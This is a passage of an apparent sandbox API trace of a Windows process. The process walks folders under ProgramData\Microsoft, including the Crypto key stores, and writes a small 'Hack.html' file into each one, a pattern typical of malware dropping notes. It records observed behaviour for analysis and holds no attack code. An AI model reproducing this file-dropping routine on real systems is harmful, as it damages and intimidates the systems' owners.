lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.870] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.870] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.870] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0068.870] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\", lpFilePart=0x0) returned 0x30 [0068.870] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.870] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.871] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.871] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.871] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x39 [0068.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0068.871] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\Hack.html" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.872] GetFileType (hFile=0x258) returned 0x1 [0068.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0068.872] GetFileType (hFile=0x258) returned 0x1 [0068.873] WriteFile (in: hFile=0x258, lpBuffer=0x273adc8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x273adc8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0068.875] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\Hack.html", lpFilePart=0x0) returned 0x2d [0068.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0068.875] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\Hack.html" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.875] GetFileType (hFile=0x258) returned 0x1 [0068.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0068.875] GetFileType (hFile=0x258) returned 0x1 [0068.875] WriteFile (in: hFile=0x258, lpBuffer=0x273d580*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x273d580*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0068.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.877] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0068.877] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\", lpFilePart=0x0) returned 0x25 [0068.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.878] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.878] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.878] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.878] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0068.878] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\", lpFilePart=0x0) returned 0x25 [0068.878] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.879] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.879] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.879] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.879] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\Hack.html", lpFilePart=0x0) returned 0x2e [0068.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0068.879] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\Hack.html" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.880] GetFileType (hFile=0x258) returned 0x1 [0068.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0068.880] GetFileType (hFile=0x258) returned 0x1 [0068.880] WriteFile (in: hFile=0x258, lpBuffer=0x2740edc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2740edc*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0068.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.881] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0068.881] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\", lpFilePart=0x0) returned 0x24 [0068.882] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.882] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.882] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.883] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0068.883] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\", lpFilePart=0x0) returned 0x24 [0068.883] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.883] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.883] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.883] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0068.884] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\", lpFilePart=0x0) returned 0x30 [0068.884] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.884] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.884] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.884] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0068.884] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\", lpFilePart=0x0) returned 0x30 [0068.885] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.885] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.885] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.885] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.885] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html", lpFilePart=0x0) returned 0x39 [0068.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0068.885] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\Hack.html" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.886] GetFileType (hFile=0x258) returned 0x1 [0068.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0068.886] GetFileType (hFile=0x258) returned 0x1 [0068.886] WriteFile (in: hFile=0x258, lpBuffer=0x27460d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27460d8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0068.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.887] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x2c [0068.887] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpFilePart=0x0) returned 0x2d [0068.887] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.888] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.888] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.888] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.889] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.889] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0068.889] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x2c [0068.889] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpFilePart=0x0) returned 0x2d [0068.889] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a8a8 [0068.889] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.889] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.889] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0068.890] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0068.890] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0068.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0068.890] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html", lpFilePart=0x0) returned 0x36 [0068.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0068.890] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\Hack.html" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.892] GetFileType (hFile=0x258) returned 0x1 [0068.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0068.893] GetFileType (hFile=0x258) returned 0x1 [0068.893] WriteFile (in: hFile=0x258, lpBuffer=0x274a7f0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x274a7f0*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0068.894] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\Hack.html", lpFilePart=0x0) returned 0x2d [0068.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0068.894] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\Hack.html" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.894] GetFileType (hFile=0x258) returned 0x1 [0068.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0068.894] GetFileType (hFile=0x258) returned 0x1 [0068.894] WriteFile (in: hFile=0x258, lpBuffer=0x274cfa8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x274cfa8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0068.895] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Hack.html", lpFilePart=0x0) returned 0x29 [0068.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0068.896] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Hack.html" (normalized: "c:\\programdata\\microsoft\\crypto\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.897] GetFileType (hFile=0x258) returned 0x1 [0068.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0068.897] GetFileType (hFile=0x258) returned 0x1 [0068.897] WriteFile (in: hFile=0x258, lpBuffer=0x274f750*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x274f750*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0068.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.898] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x25 [0068.898] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\", lpFilePart=0x0) returned 0x26 [0068.898] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.898] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.898] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.899] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.899] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.899] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.899] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x25 [0068.899] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\", lpFilePart=0x0) returned 0x26 [0068.899] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.899] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.899] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.900] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.900] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.900] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.900] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0068.900] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\", lpFilePart=0x0) returned 0x2d [0068.900] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.901] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.901] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.901] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.901] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.901] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.902] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0068.902] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\", lpFilePart=0x0) returned 0x2d [0068.902] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", 